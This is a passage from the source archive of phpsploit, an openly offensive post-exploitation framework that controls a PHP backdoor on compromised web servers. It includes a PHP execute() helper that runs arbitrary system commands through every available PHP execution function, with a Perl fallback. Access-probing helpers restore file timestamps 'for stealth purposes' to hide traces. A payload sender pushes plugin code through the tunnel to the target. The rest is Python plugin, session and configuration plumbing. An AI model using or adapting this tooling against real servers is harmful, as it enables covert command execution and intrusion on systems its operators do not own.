testing for stealth purposes. function dirAccess($abspath, $mode) { if ($mode == 'r') { if ($h = @opendir($abspath)) { closedir($h); return (True); } else return (False); } elseif ($mode == 'w' || $mode == 'a') { $old_mtime = @filemtime($abspath); $old_atime = @fileatime($abspath); $rand = $abspath . uniqid('/pspapi_'); if ($h = @fopen($rand, 'a')) { @fclose($h); $result = True; } else { $result = False; } @unlink($rand); @touch($abspath, $old_mtime, $old_atime); return ($result); } else return (False); } ?> phpsploit-3.2+git20240329.aea961d/src/api/php-functions/execute.php000066400000000000000000000051371460155776400244730ustar00rootroot00000000000000 string): // Try any way to execute the given system command. // The command output is returned by the function. // // $cmd (string): // The command line string to run. // // EXAMPLE: // >>> execute("whoami") // "www-data" // // TODO: This function is probably highly optimizable. function execute($cmd) { $res = ''; if (@function_exists('exec')) { @exec($cmd, $res); $res = implode("\n", $res); } elseif (@function_exists('shell_exec')) { $res = @shell_exec($cmd); } elseif (@function_exists('system')) { @ob_start(); @system($cmd); $res = @ob_get_contents(); @ob_end_clean(); } elseif (@function_exists('passthru')) { @ob_start(); @passthru($cmd); $res = @ob_get_contents(); @ob_end_clean(); } elseif (@is_resource($f = @popen($cmd, 'r'))) { if (@function_exists('fread') && @function_exists('feof')) { while (!@feof($f)) $res .= @fread($f, 1024); } elseif (@function_exists('fgets') && @function_exists('feof')) { while (!@feof($f)) $res .= @fgets($f, 1024); } @pclose($f); } elseif (@is_resource($f = @proc_open($cmd, array(1 => array("pipe", "w")), $pipes))) { if (@function_exists('fread') && @function_exists('feof')) { while (!@feof($pipes[1])) $res .= @fread($pipes[1], 1024); } elseif (@function_exists('fgets') && @function_exists('feof')) { while (!@feof($pipes[1])) $res .= @fgets($pipes[1],1024); } @proc_close($f); } elseif (@function_exists('pcntl_exec') && @function_exists('pcntl_fork')) { $res = '[~] Blind Command Execution via [pcntl_exec]\n\n'; $pid = @pcntl_fork(); if ($pid == -1) $res .= '[-] Could not children fork. Exit'; elseif ($pid) { if (@pcntl_wifexited($status)) $res .= '[+] Done! Command "' . $cmd . '" successfully executed.'; else $res .= '[-] Error. Command incorrect.'; } else { $cmd = array(" -e 'system(\"$cmd\")'"); if (@pcntl_exec('/usr/bin/perl', $cmd)) exit (0); if (@pcntl_exec('/usr/local/bin/perl', $cmd)) exit (0); die (); } } if (!is_string($res) || empty($res)) return (""); return ($res); } ?> phpsploit-3.2+git20240329.aea961d/src/api/php-functions/fileAccess.php000066400000000000000000000023071460155776400250660ustar00rootroot00000000000000 boolean): // Check if $abspath has $mode permission. // // $abspath (string): // This variable must link to a regular file. // $mode (char): // 'r': Check if readable // 'w': Check if writable // 'x': Check if executable // // EXAMPLE: // >>> fileAccess("/etc/passwd", 'r') // True // >>> fileAccess("/etc/passwd", 'w') // False function fileAccess($abspath, $mode) { // Assuming cases where user wants to check write access, he // will then pass 'w' as mode argument. Therefore, we just can't // allow this mode internally, because doing a fopen() with 'w' mode // will empty the file in case of success, which is clearly stupid. if ($mode != 'r' && $mode != 'x') $mode = 'a'; if ($mode == 'x') return @is_executable($abspath); // fopen() the given file path and return True in case of success $old_mtime = @filemtime($abspath); $old_atime = @fileatime($abspath); if ($h = @fopen($abspath, $mode)) { fclose($h); @touch($abspath, $old_mtime, $old_atime); return (True); } else return (False); } ?> phpsploit-3.2+git20240329.aea961d/src/api/php-functions/getGroup.php000066400000000000000000000011261460155776400246170ustar00rootroot00000000000000 string): // Return group owner of the given file path. // // If the group owner of the file could not be determined, // the string "?" is returned as a fallback value. // // $abspath (string): // This variable should be an existing absolute file path function getGroup($abspath) { if (function_exists('posix_getgrgid')) { $gid = @filegroup($abspath); $grp = @posix_getgrgid($gid); if (@is_string($grp['name']) && !@empty($grp['name'])) return ($grp['name']); } return ("?"); } ?> phpsploit-3.2+git20240329.aea961d/src/api/php-functions/getMTime.php000066400000000000000000000011321460155776400245330ustar00rootroot00000000000000 string): // Return $abspath file last modification time (mtime) // in $data_fmt format (the format used by the php date() function). // // $abspath (string): // This variable should be an existing absolute file path // // $date_fmt (string): // A string representing a date format. For more infos, take // a look at: http://www.php.net/manual/en/function.date.php function getMTime($abspath, $date_fmt) { $mtime = @filemtime($abspath); $result = @date($date_fmt, $mtime); return ($result); } ?> phpsploit-3.2+git20240329.aea961d/src/api/php-functions/getOwner.php000066400000000000000000000011301460155776400246100ustar00rootroot00000000000000 string): // Return the user name that owns the given $abspath. // // If the owner of the file could not be determined, // the string "?" is returned as a fallback value. // // $abspath (string): // This variable should be an existing absolute file path function getOwner($abspath) { if (function_exists('posix_getpwuid')) { $uid = @filegroup($abspath); $usr = @posix_getpwuid($uid); if (@is_string($usr['name']) && !@empty($usr['name'])) return ($usr['name']); } return ("?"); } ?> phpsploit-3.2+git20240329.aea961d/src/api/php-functions/getPerms.php000066400000000000000000000071651460155776400246220ustar00rootroot00000000000000 string): // Returns the `human permissions string` of the given // file path. // // $perms_type (string) (default="unix") // - If $perms_type is "unix", then a full permissions // string like '-rwxr-xr-x' is returned. // - Otherwise, the returned string will be related to // current access of the file for user, in the following // format: 'drwx'. This format tells if we actually can // read/write/execute the file, by stupidly testing // accesses. // // $abspath (string): // This variable should be an existing absolute file path !import(can_change_mtime) !import(fileAccess) !import(dirAccess) function getPerms($abspath, $perms_format="unix") { global $PHPSPLOIT; $perms = @fileperms($abspath); // FILE TYPES: // s: socket // -: regular file // b: special file // d: directory // c: special char // p: fifo pipe // u: unknown type if (($perms & 0xC000) == 0xC000) $type = 's'; elseif (($perms & 0xA000) == 0xA000) $type = 'l'; elseif (($perms & 0x8000) == 0x8000) $type = '-'; elseif (($perms & 0x6000) == 0x6000) $type = 'b'; elseif (($perms & 0x4000) == 0x4000) $type = 'd'; elseif (($perms & 0x2000) == 0x2000) $type = 'c'; elseif (($perms & 0x1000) == 0x1000) $type = 'p'; else $type = 'u'; if ((substr($abspath, -3) == $PHPSPLOIT['PATH_SEP'] . '..') || (substr($abspath, -2) == $PHPSPLOIT['PATH_SEP'] . '.')) $type = 'd'; if ($perms_format == 'unix'){ $info = ""; // myself $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); // my group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); // others $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));} else { $Rperm = (($perms & 0x0004) ? 'r' : '-'); $Wperm = (($perms & 0x0002) ? 'w' : '-'); $Xperm = (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); if ($type == '-') { if (fileAccess($abspath, 'r')) $Rperm = 'r'; else $Rperm = '-'; if (can_change_mtime($abspath)) { if (fileAccess($abspath, 'w')) $Wperm = 'w'; else $Wperm = '-'; } } elseif ($type == 'd') { if (dirAccess($abspath, 'r')) { $Rperm = 'r'; $Xperm = 'x'; } else { $Rperm = '-'; $Xperm = '-'; } if (can_change_mtime($abspath)) { if (dirAccess($abspath, 'w')) $Wperm = 'w'; else $Wperm = '-'; } } $info = $Rperm . $Wperm . $Xperm; } return ($type . $info); } ?> phpsploit-3.2+git20240329.aea961d/src/api/php-functions/getSize.php000066400000000000000000000010411460155776400244310ustar00rootroot00000000000000 string): // Returns the size of the given file path in human format. // // $abspath (string): // This variable should be an existing absolute file path // // EXAMPLE: // >>> getSize("/etc/passwd") // "1.4K" function getSize($abspath) { $size = @filesize($abspath); $units = array('', 'K', 'M', 'G', 'T'); for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024; $result = str_replace('.', ',', round($size, 1)) . $units[$i]; return ($result); } ?> phpsploit-3.2+git20240329.aea961d/src/api/php-functions/matchRegexp.php000066400000000000000000000017721460155776400253010ustar00rootroot00000000000000 boolean): // This function has a behavior similar to glob(3). // It checks if the given $name matches $regexp. // // $name (string): // A common string (may be a filename for some use cases). // // $regexp (string): // The pattern used to compare the regex. // // EXAMPLE: // >>> matchRegexp("data.txt", "*.txt") // True // >>> matchRegexp("data.txt", "[A-Z]*") // False // >>> matchRegexp("Data.txt", "[A-Z]*") // True function matchRegexp($name, $regexp) { if ($regexp == '') return (True); elseif (strstr($regexp, '*') === False) { if ($name == $regexp) return (True); else return (False); } else { $name = str_replace('.', '\.', $name); $match = '(^' . str_replace('*', '.*', $regexp) . '$)'; if (preg_match($match, $name)) return (True); else return (False); } } ?> phpsploit-3.2+git20240329.aea961d/src/api/php-functions/mysqli_compat.php000066400000000000000000000023331460155776400257050ustar00rootroot00000000000000 phpsploit-3.2+git20240329.aea961d/src/api/php-functions/set_smart_date.php000066400000000000000000000007501460155776400260230ustar00rootroot00000000000000 string): // Return an unix timestamp from a value returned by // phpsploit's python get_smart_date() function. // // >>> # if a date string is given, return timestamp // >>> set_smart_date("2011-09-11 13:29:42") // 1315747782 // NOTE: if string is empty or NULL, function returns current time function set_smart_date($smart_date) { if ($smart_date) return strtotime($smart_date); return time(); } ?> phpsploit-3.2+git20240329.aea961d/src/api/plugin.py000066400000000000000000000027511460155776400213720ustar00rootroot00000000000000"""Provide access to attributes of currently running plugin""" __all__ = ["plugin"] import re from core import plugins class Plugin: """Get access to currently running plugin attributes. Usage: >>> from api import plugin Attributes: * name (type: str) # Plugin name. >>> plugin.name 'foobar' * help (type: str) # Plugin docstring (detailed help). >>> print(plugin.help) [*] foobar: An imaginary phpsploit plugin DESCRIPTION: An imaginary foobar plugin description. ... * path (type: str) # Absolute path of plugin's root directory. >>> plugin.path '/home/user/phpsploit/plugins/parent_dir/foobar/' * category (type: str) # Plugin's category name (parent directory). >>> plugin.category 'Parent Dir' """ def __init__(self): pass def __getattr__(self, attr): errmsg = "type object '%s' has no attribute '%s'" if attr in dir(self): return getattr(plugins.current_plugin, attr) raise AttributeError(errmsg % (self.__class__.__name__, str(attr))) def __dir__(self): result = [] for attr in dir(plugins.current_plugin): obj = getattr(plugins.current_plugin, attr) if re.match("^[a-z]+$", attr) and not callable(obj): result.append(attr) return result # instanciate plugin object (for use within python API) plugin = Plugin() phpsploit-3.2+git20240329.aea961d/src/api/server/000077500000000000000000000000001460155776400210235ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/src/api/server/__init__.py000066400000000000000000000005271460155776400231400ustar00rootroot00000000000000"""Phpsploit operations on target server. This module includes a collection of submodules designed for phpsploit server-side operations. CONTENTS: * path (type: submodule) Common operation on target server pathnames. * payload (type: submodule) The phpsploit payload request manager. """ from . import path from . import payload phpsploit-3.2+git20240329.aea961d/src/api/server/path.py000066400000000000000000000063171460155776400223400ustar00rootroot00000000000000"""Common operation on phpsploit target server pathnames. These functions are designed for use in phpsploit plugins, for normalizing and extracting server path components. This module is highly inspired by `os.path` from standard library. """ import re from core import session _WINPATH_REGEX = re.compile(r"[a-zA-Z]:\\") def getcwd() -> str: """Return the current working directory""" return session.Env.PWD def isabs(path: str) -> bool: """Test whether a path is absolute""" if path and path[0] in '/\\': return True if _WINPATH_REGEX.match(path): return True return False def abspath(path: str) -> str: """Return an absolute path.""" if not isabs(path): sep = '/' if '/' not in path and '\\' in path: sep = '\\' elems = path.split(sep) old_path = _split_path(session.Env.PWD) path = old_path['root'] path += old_path['separator'].join(old_path['elems'] + elems) return _sanitize_path(path) def dirname(path: str) -> str: """Return the directory component of a pathname""" return _split_path(path)['dirname'] def basename(path: str) -> str: """Return the final component of a pathname""" return _split_path(path)['basename'] def separator(path: str) -> str: """Return the path of a pathname""" return _split_path(path)['separator'] def splitdrive(path: str) -> tuple: """Split a pathname into drive and path. On Posix, drive is always empty.""" elems = _split_path(path) drive = elems['root'][:-1] path = path[(len(elems['root']) - 1):] return drive, path # Private function: def _to_absolute_path(path: str) -> str: """Return the absolute version of given path string""" if isabs(path): return path return abspath(path) # Private function: def _split_path(path: str) -> dict: """Split given path string into path elements""" path = _to_absolute_path(path) # if linux if path.startswith('/'): platform = 'nix' root = '/' sep = '/' # if win physical path (C:\) elif re.match(_WINPATH_REGEX, path): platform = 'win' root = path[:3] sep = '\\' # if win network path (\\1.1.1.1) elif path.startswith('\\'): platform = 'win' root = '\\\\' sep = '\\' path = root + path.lstrip('\\') else: raise ValueError("%s: Couldn't parse non-standard path" % path) return {"platform": platform, "root": root, "elems": path[len(root):].split(sep), "separator": sep, "dirname": sep.join(path.split(sep)[:-1]) + sep, "basename": path.split(sep)[-1]} # Private function: def _sanitize_path(path): """Remove unneeded path elements >>> _sanitize_path('/foo/../bar/') /bar/ """ info = _split_path(path) result = [] elems = info['elems'] for elem in elems: if elem in ['.', '']: pass elif elem == '..': result = result[:-1] elif elem == '~': info = _split_path(session.Env.HOME) result = info['elems'] else: result.append(elem) return info['root'] + info['separator'].join(result) phpsploit-3.2+git20240329.aea961d/src/api/server/payload.py000066400000000000000000000021761460155776400230340ustar00rootroot00000000000000import metadict from core import session, tunnel, plugins from datatypes import Path class Payload(metadict.MetaDict): # the phpsploit env vars to auto add # to $PHPSPLOIT array on php side _unherited_env_vars = ["PATH_SEP"] _php_vars_template = 'global $PHPSPLOIT;$PHPSPLOIT=%s;\n' def __init__(self, filename, **kwargs): self.response = None for key in self._unherited_env_vars: self[key] = session.Env[key] for key, value in kwargs.items(): self[key] = value plugin_path = plugins.current_plugin.path self.payload = Path(plugin_path, filename, mode='fr').phpcode() def send(self, **kwargs): var_list = dict(self) for key, value in kwargs.items(): var_list[key] = value php_vars = self._php_vars_template % tunnel.payload.py2php(var_list) result = tunnel.send(php_vars + self.payload) if result.response_error: raise PayloadError(result.response_error) return result.response class PayloadError(Exception): """Exception raised when a send payload returned an __ERROR__ obj""" phpsploit-3.2+git20240329.aea961d/src/core/000077500000000000000000000000001460155776400176745ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/src/core/__init__.py000066400000000000000000000010201460155776400217760ustar00rootroot00000000000000"""PhpSploit base core elements loader. The most basic PhpSploit elements manager. It handles user configuration directory, and defines basic elements such as the following strings: BASEDIR -> /path/to/phpsploit/ COREDIR -> /path/to/phpsploit/core/ USERDIR -> /home/user/.phpsploit/ """ # constant directories from src import BASEDIR, COREDIR from .config import USERDIR # session instance from .session import session # tunnel instance from .tunnel import tunnel # plugins instance from .plugins import plugins phpsploit-3.2+git20240329.aea961d/src/core/config.py000066400000000000000000000060721460155776400215200ustar00rootroot00000000000000"""User configuration manager. Browse, initialize and load PhpSploit framework user configuration directory and elements. """ import os import errno import utils.path from datatypes import Path from . import BASEDIR class UserDir: # pylint: disable=too-few-public-methods """PhpSploit Configuration Directory """ path = None choices = ["~/.config/phpsploit", "~/.phpsploit"] def __init__(self): """Get phpsploit configuration directory, by checking, in this order of preference: - $PHPSPLOIT_CONFIG_DIR/ (only if env var exists) - $XDG_CONFIG_HOME/phpsploit/ (only if env var exists) - ~/.config/phpsploit/ - ~/.phpsploit/ If non of the above exist, directory creation is attempted with the same order of preference. Directory creation is not recursive, to parent directory must exist. If USERDIR cannot be determined, a ValueError mentioning last tried choice (~/.phpsploit/) is raised. """ if os.environ.get("XDG_CONFIG_HOME"): self.choices.insert(0, "$XDG_CONFIG_HOME/phpsploit") if os.environ.get("PHPSPLOIT_CONFIG_DIR"): self.choices.insert(0, "$PHPSPLOIT_CONFIG_DIR/") self.choices = [utils.path.truepath(c) for c in self.choices] # try to find existing USERDIR for choice in self.choices: try: self.path = Path(choice, mode="drw")() break except ValueError: pass # try to create new valid USERDIR if self.path is None: for choice in self.choices: try: os.mkdir(choice) except OSError: pass try: self.path = Path(choice, mode="drw") break except ValueError as e: if choice == self.choices[-1]: raise e self.fill() # finally, fill it with default content def fill(self): """Add user configuration dir's default content.""" # create default $USERDIR/config if it doesn't exist config = utils.path.truepath(self.path, "config") if not os.path.isfile(config): with open(BASEDIR + "data/config/config") as file: default_config = file.read() with open(config, 'w') as file: file.write(default_config) # always override $USERDIR/README with open(BASEDIR + "data/config/README") as file: readme = file.read() with open(utils.path.truepath(self.path, "README"), "w") as file: file.write(readme) # create $USERDIR/plugins/ it doesn;t exist dirs = ["plugins"] for elem in dirs: elem = utils.path.truepath(self.path, elem) try: os.mkdir(elem) except OSError as e: if e.errno != errno.EEXIST or not os.path.isdir(elem): raise e # define user directory path USERDIR = UserDir().path phpsploit-3.2+git20240329.aea961d/src/core/encoding.py000066400000000000000000000023341460155776400220360ustar00rootroot00000000000000"""Generic encoding handler. This small string encoding/decoding manager aims to provide an uniform encoding handling policy for the phpsploit framework. """ import sys import codecs try: codecs.lookup("utf-8") default_encoding = "utf-8" except LookupError: default_encoding = sys.getdefaultencoding() try: codecs.lookup_error("surrogateescape") default_errors = "surrogateescape" except LookupError: default_errors = "strict" def encode(str_obj, encoding=default_encoding, errors=default_errors): """Encode the given bytes object with `encoding` encoder and `errors` error handler. If not set, `encoding` defaults to module's `default_encoding` variable. If not set, `errors` defaults to module's `default_errors` variable. """ bytes_obj = str_obj.encode(encoding, errors) return bytes_obj def decode(bytes_obj, encoding=default_encoding, errors=default_errors): """Decode the given bytes object with `encoding` decoder and `errors` error handler. If not set, `encoding` defaults to module's `default_encoding` variable. If not set, `errors` defaults to module's `default_errors` variable. """ str_obj = bytes_obj.decode(encoding, errors) return str_obj phpsploit-3.2+git20240329.aea961d/src/core/plugins/000077500000000000000000000000001460155776400213555ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/src/core/plugins/Plugin.py000066400000000000000000000105251460155776400231700ustar00rootroot00000000000000import os import sys import importlib import importlib.machinery import traceback from datatypes import Path from ui.color import colorize from .exceptions import BadPlugin # pylint: disable=too-few-public-methods class Plugin: """Phpsploit plugin class This object instanciates a new plugin object. Example: >>> plugin = Plugin("./plugins/file_system/ls") >>> plugin.name 'ls' >>> plugin.category 'File system' >>> plugin.run(['ls', '-la']) # run the plugin with args """ def __init__(self, path): if path.endswith(os.sep) or path.endswith("/"): path = path[:-1] self.path = path self.name = os.path.basename(path) self.argv = [] # redefined at runtime on run() try: Path(path, mode='drx')() except ValueError as e: print("[#] Couldn't load plugin: ÂĢ%sÂģ" % self.path) print("[#] Plugin directory error: %s" % e) print("[#] ") raise BadPlugin category = os.path.basename(os.path.dirname(path)) self.category = category.replace("_", " ").capitalize() self.help = "" try: script = Path(self.path, "plugin.py", mode='fr').read() except ValueError as e: print("[#] Couldn't load plugin: ÂĢ%sÂģ" % self.path) print("[#] File error on plugin.py: %s" % e) print("[#] ") raise BadPlugin if not script.strip(): print("[#] Couldn't load plugin: ÂĢ%sÂģ" % self.path) print("[#] File plugin.py is empty") print("[#] ") raise BadPlugin try: code = compile(script, "", "exec") except BaseException as e: print("[#] Couldn't compile plugin: ÂĢ%sÂģ" % self.path) e = traceback.format_exception(type(e), e, e.__traceback__) for line in "".join(e).splitlines(): print(colorize("[#] ", "%Red", line)) # print("[#] " + "\n[#] ".join("".join(e).splitlines())) print("[#] ") raise BadPlugin if "__doc__" in code.co_names: self.help = code.co_consts[0] def run(self, argv): """run current plugin """ self.argv = argv from api import server try: ExecPlugin(self) except KeyboardInterrupt: raise KeyboardInterrupt except SystemExit as e: retval = e.args[0] if e.args else e.code if not isinstance(retval, int): lines = self.help.splitlines() if len(lines) > 1 and str(retval) == self.help: print() print("[*] %s: %s" % (self.name, lines.pop(0))) for line in lines: if line == line.lstrip(): line = colorize("%BoldWhite", line) print(line) print() else: print("[-] %s: %s" % (self.name, retval)) retval = 1 return retval except server.payload.PayloadError as err: print("[-] %s: %s" % (self.name, err)) return 64 except BaseException as err: msg = "Python runtime error (exception occured)" print("[-] %s: %s:" % (self.name, msg)) raise err return 0 class ExecPlugin: """Execute a Phpsploit Plugin """ filename = "plugin" _instance_id = 0 def __init__(self, plugin): script_path = os.path.join(plugin.path, self.filename + ".py") sys.path.insert(0, plugin.path) try: self.exec_module(script_path) finally: sys.path.pop(0) @classmethod def is_first_instance(cls): """check whether current instance is the first loaded one """ result = not cls._instance_id cls._instance_id += 1 return result def exec_module(self, path): """execute plugin as an `importlib` module """ loader = importlib.machinery.SourceFileLoader(self.filename, path) module = importlib.import_module(self.filename) # If the instance is the first one, it means that # the import already executed the plugin. if not self.is_first_instance(): loader.exec_module(module) phpsploit-3.2+git20240329.aea961d/src/core/plugins/__init__.py000066400000000000000000000131701460155776400234700ustar00rootroot00000000000000"""Phpsploit plugins handler """ import os import re import ui import metadict import core from core import session from datatypes import Path from decorators.readonly_settings import readonly_settings import utils.path from .Plugin import Plugin from .exceptions import BadPlugin DEFAULT_PLUGIN = Plugin(core.BASEDIR + "data/plugin-sample/category_name/plugin_example") class Plugins(metadict.MetaDict): """Phpsploit plugins handler The Plugins() class represents the currently available plugins. """ valid_plugin_name = re.compile("^[a-zA-Z0-9_-]+$") def __init__(self): """Initalize a plugins list instance""" self.errors = 0 self.blacklist = [] self.root_dirs = [] self.root_dirs.append(Path(core.BASEDIR, "plugins", mode='drx')) self.root_dirs.append(Path(core.USERDIR, "plugins", mode='drx')) self.current_plugin = DEFAULT_PLUGIN super().__init__() @readonly_settings("VERBOSITY") def reload(self, verbose=None): """Reload the plugins list""" if verbose is not None: session.Conf.VERBOSITY = verbose self.clear() self.errors = 0 categories = self._load_categories() num_loaded = self._load_plugins(categories) if self.errors: msg = "[#] %d errors encountered while loading plugins" if not verbose: msg += " (use `corectl reload-plugins` for + infos)" session.Conf.VERBOSITY = True print(msg % self.errors) if verbose or self.errors or ui.input.isatty(): if num_loaded: print("[*] %d plugins correctly loaded" % num_loaded) else: print("[-] No plugins were loaded") return not self.errors def categories(self): """Get a list of existing plugin category names""" categories = [] for plugin in self.values(): categories.append(plugin.category) categories.sort() return list(set(categories)) def run(self, argv): """Execute the plugin matching given argv list """ # make current_plugin point to self plugin instance # this allows api module imports to get triggering # plugin attributes. plugin = self[argv[0]] self.current_plugin = plugin try: return plugin.run(argv) finally: self.current_plugin = DEFAULT_PLUGIN def _log_error(self, path, errmsg, _type="plugin"): print("[#] Couldn't load %s: ÂĢ%sÂģ" % (_type, path)) print("[#] " + errmsg) print("[#] ") self.errors += 1 def _load_categories(self): """Load currently existing categories. The categories are returned in the form of a dictionnary. Each element key contains the category name, while value if a list of each child plugin absolute path. Example: >>> self.load_categories() {'system': ['/plugins/system/ls', '/plugins/system/pwd'], 'sql': ['/plugins/sql/mysql', '/plugins/sql/mssql']} """ category_dirs = [] for root_dir in self.root_dirs: category_dirs += self._list_path_dirs(root_dir, _type="category") categories = {} for basename, abspath in category_dirs: if basename not in categories: categories[basename] = [] categories[basename].append(abspath) return categories def _load_plugins(self, categories): """Fill current plugins instance with currently available plugins. All plugins are added to self items, with a key equal to the plugin name. Each plugin value is a Plugin() instance. Some plugins may fail to load, so numer of load errors is returned """ num_loaded = 0 for cat_paths in categories.values(): for cat_path in cat_paths: cat_elems = self._list_path_dirs(cat_path, _type="plugin") for name, path in cat_elems: if name in self.keys(): msg = "Name already taken by %r" % self[name].path self._log_error(path, msg) elif name in self.blacklist: msg = "Name already taken by `%s` command" % name self._log_error(path, msg) try: self[name] = Plugin(path) except BadPlugin: self.errors += 1 else: num_loaded += 1 return num_loaded def _list_path_dirs(self, root_dir, _type="plugin"): """Returns a list of tuples representing a plugin directory. Each tuple is in the form: (basename, abspath) Example: >>> self._list_path_dirs("/plugins/system") [("ls", "/plugins/system/ls"), ("pwd", "/plugins/system/pwd")] """ elems = [] for basename in os.listdir(root_dir): path = utils.path.truepath(root_dir, basename) if not os.path.isdir(path): self._log_error(path, "Not a directory", _type) elif not os.access(path, os.X_OK | os.R_OK): self._log_error(path, "Permission denied", _type) elif not self.valid_plugin_name.match(basename): msg = ("Folder name doesn't match " + repr(self.valid_plugin_name.pattern)) self._log_error(path, msg, _type) else: elems.append((basename, path)) return elems # instanciate plugins list plugins = Plugins() phpsploit-3.2+git20240329.aea961d/src/core/plugins/exceptions.py000066400000000000000000000001421460155776400241050ustar00rootroot00000000000000"""Plugin-related exceptions """ class BadPlugin(Exception): """Invalid plugin exception""" phpsploit-3.2+git20240329.aea961d/src/core/session/000077500000000000000000000000001460155776400213575ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/src/core/session/__init__.py000066400000000000000000000301441460155776400234720ustar00rootroot00000000000000"""PhpSploit Session Manager When imorted for the first time, the "session" package initializes it self as a PhpSploit blank session, with its default values. Provide the PhpSploit framework's session object from Session() class. On import, an instance of it is defaultly created as `session`. A session instance contains the following objects: * Conf -> The configuration settings * Env -> Tunnel related environment variables * Alias -> User's command aliases * File -> The default file that binds to session * Hist -> Readline history """ import os import re import gzip import pickle import difflib import metadict import utils.path import ui.input from ui.color import colorize, decolorize from core import encoding from . import settings from . import environment from . import history from . import compat_session SESSION_FILENAME = "phpsploit.session" class Session(metadict.MetaDict): """Phpsploit Session """ # pylint: disable=invalid-name def __init__(self): """Instanciate the phpsploit session. It handles settings, environment variables, aliases and readline history (if readline is available). """ # process parent class init super().__init__() # session objects declaration self.Conf = settings.Settings() self.Env = {} self.Alias = metadict.VarContainer(title="Command Aliases") self.Hist = history.History() self.Compat = {} self.File = None @staticmethod def _isattr(name): """Session items are alphabetic and capitalized strings""" return re.match("^[A-Z][a-z]+$", name) def _history_update(self, array=None): if array is None: array = [] try: import readline # add array elements to readline history for command in array: readline.add_history(command) # recreate Hist from readline history (UGLY) self.Hist.clear() history_len = readline.get_current_history_length() for i in range(1, history_len + 1): line = readline.get_history_item(i) self.Hist.append(line) except ImportError: pass # By default, hist max size is 20% of CACHE_SIZE max_size = int(self.Conf["CACHE_SIZE"]() * 0.2) # Settle Hist object to its max size while self.Hist.size > max_size: self.Hist.pop(0) def __getitem__(self, name): """Overwrite standard getitem to return self.File default dynamic value in the case it is None. """ value = super().__getitem__(name) if name == "File": if value is None: # pylint: disable=not-callable value = self.Conf.SAVEPATH() + SESSION_FILENAME elif not os.path.isdir(value) and os.sep not in value: # pylint: disable=not-callable value = self.Conf.SAVEPATH() + value return value def __setitem__(self, name, value): if name == "Env": # Assuming that value can be set as a dict(), # we use special wrapper for setting value # as an Environment() instance. value = environment.Environment(value) super().__setitem__(name, value) def __str__(self): """Get a nice string representation of current session """ title = "PhpSploit session dump ({})".format(self.File) # deco = "\n" + colorize("%Blue", "=" * len(title)) + "\n" deco = "\n" + colorize("%Blue", "=" * 68) + "\n" data = deco + title + deco ordered_keys = ["Conf", "Env", "Alias"] for name in ordered_keys: if self[name]: data += str(self[name]) + "\n" return data def __call__(self, file=None, fatal_errors=True): """Load and return the session object stored in `file`. if `file` is None, current session (self) is returned. """ # A None/empty call returns current session as it is if file is None: return self file = utils.path.truepath(file) # append default filename if is a directory if os.path.isdir(file): file = utils.path.truepath(file, SESSION_FILENAME) # get unpickled `data` from `file` try: data = pickle.load(gzip.open(file), encoding=encoding.default_encoding, errors=encoding.default_errors) if "Compat" not in data.keys(): data["Compat"] = {} except OSError as error: if "not a gzipped file" in str(error).lower(): data = compat_session.load(file) if not data: raise ValueError("Not a phpsploit session file") else: raise # get Session() obj from raw session value sess = self._obj_value(data, fatal_errors=fatal_errors) # bind new session's File to current file sess.File = file return sess def load(self, file=None, fatal_errors=True): """get a new Session() loaded from `file` """ return self(file, fatal_errors=fatal_errors) # pylint: disable=arguments-differ def update(self, obj=None, update_history=False): """Update current session with `obj`. The given argument can be a dictionnary instance, in which case it must be a valid session object to merge in. If `obj` is a string, it is then considered as a file path, and the self __call__() method is then used in order to retrieve corresponding session object. Is `obj` is None (default), "${SAVEPATH}./phpsploit.session" is used. """ file = None if isinstance(obj, str): file = obj obj = self.load(file) elif obj is None: file = self.File obj = self.load(file) # if obj is not a dict instance, fallback to parent method elif not isinstance(obj, dict): super().update(obj) return for key, value in obj.items(): if key == "Compat": self[key] = value elif isinstance(self[key], dict): self[key].update(value) elif key == "Hist": if update_history and file is not None: self._history_update(value) else: self[key] = value def deepcopy(self, target=None): """Create a deep copy of current session All contained objects are recursively guaranted to be duplicated """ if target is None: target = self return self._obj_value(self._raw_value(target)) def diff(self, file=None, display_diff=False): """This function returns True is the given `file` is a phpsploit session which differs from current session. Otherwise, False is returned. Additionally, if `display_diff` is set, the session differences will be displayed in common unix `diff` style. """ if isinstance(file, Session): diff = self.deepcopy(file) else: if file is None: diff = Session() diff.File = self.File else: diff = self.deepcopy() diff.update(file) diff = decolorize(diff).splitlines() orig = decolorize(self).splitlines() if display_diff: color = {' ': '%Reset', '-': '%Red', '+': '%Green', '?': '%Pink'} if file is None: difflines = difflib.Differ().compare(diff, orig) else: difflines = difflib.Differ().compare(orig, diff) for line in difflines: # dont be too much verbose... if line.startswith('?'): continue print(colorize(color[line[0]], line)) return diff != orig def _raw_value(self, sess=None): """Get a 'built-in types only' representation of `sess` Session() object. This @staticmethod is guaranted to return only python built-in types, and is therefore useful to dump Session() in a stable state. To restore a raw value, use _obj_value() method. >>> from core import session >>> type(session) >>> raw = session._raw_value(session) >>> type(raw) """ if sess is None: sess = self rawdump = {} for obj in sess.keys(): rawdump[obj] = {} rawvar = (tuple if obj == "Conf" else str) if isinstance(sess[obj], dict): for var, value in sess[obj].items(): rawdump[obj][var] = rawvar(value) if obj == "Env": # HACK: store env defaults as __DEFAULTS__ rawdump["Env"]["__DEFAULTS__"] = sess["Env"].defaults elif obj == "Hist": rawdump["Hist"] = list(sess["Hist"]) else: rawdump[obj] = rawvar(sess[obj]) return rawdump def _obj_value(self, raw=None, fatal_errors=True): """Restore Session() from its 'built-in types only' representation. Used to get back Session() from data returned by 